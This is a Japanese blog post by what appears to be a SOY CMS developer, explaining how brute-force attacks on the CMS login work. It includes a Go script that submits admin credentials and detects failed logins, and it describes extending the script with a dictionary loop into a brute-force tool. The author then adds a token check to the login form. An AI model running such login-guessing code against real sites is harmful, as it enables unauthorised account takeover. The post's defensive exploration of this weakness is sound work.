以前、SOY CMSに総当たり攻撃を受けた場合は通知を送信するという機能を実装しましたが、
そもそも総当たり攻撃はどうやってやるの?
ということで、書いてみることにする。
手順としては、
・IDとパスワードの対が大量にある辞書データを用意する(ここは省略)
・何度もログインのPOSTを行うプログラムを用意する
・辞書データを元に何度もログインのPOSTを送信し続ける
というわけで、
POSTのプログラムを用意すれば対応できるということで、
Go言語でSOY CMSのログインを試みるコードを書いてみた。
それが下記のコード
package main import ( "bufio" "fmt" "net/http" "net/url" "strings" ) func main() { //SOY CMSのログインページ u := "http://example.com/cms/admin/" //ログイン用のIDとパスワード user := "admin" pw := "password" client := http.Client{} params := url.Values{} //ID params.Add("Auth[name]", user) //パスワード params.Add("Auth[password]", pw) resp, err := client.PostForm(u, params) if err != nil { panic(err) } defer resp.Body.Close() //返ってきたHTMLを解析する s := bufio.NewScanner(resp.Body) for s.Scan() { //レスポンスにあるHTMLにログインの失敗の記述があるか調べる if i := strings.Index(s.Text(), "failed_message"); i > 0 { fmt.Println("ログインに失敗している") } } }
かなり雑だけど、これで実行してみる。
もちろん、IDがadminで、パスワードがpasswordなんて無謀な管理はしていないので、ログインは失敗する。
実際の表示を確認してみると、
$ ~/ go run test.go ログインに失敗している
それでは、IDとパスワードを実際に使っているものを使用すると、
$ ~/ go run test.go
何も表示されない。
今回のコードはログインに失敗した時だけの挙動を書いているので、
失敗していない時は何も表示されなくて当然のこと。
ログインは成功か失敗かのどちらかしかないので、
失敗していなければ、ログイン成功しかない。
あとは、
このコードに少し手を加えて、
・辞書データを上から順に実行して、失敗しなかった時のIDとパスワードを表示するというコードを追加すれば、
簡易的な総当り攻撃のプログラムが出来上がる。
というか、
ログインフォームのところにトークンのチェックがついていないのね。
※POSTする際にフォームのページのHTMLにあるランダムな文字列を含めないと正常に処理出来ない様にする仕組み
ログインフォームのところはいじったことがなかったので知らなかったよ。
これはまずいだろうということで、
GitHubで管理している方にトークンのチェックをつけておいた。
https://github.com/inunosinsi/soycms
これで今回のコードは使用できなくなった。
-続く-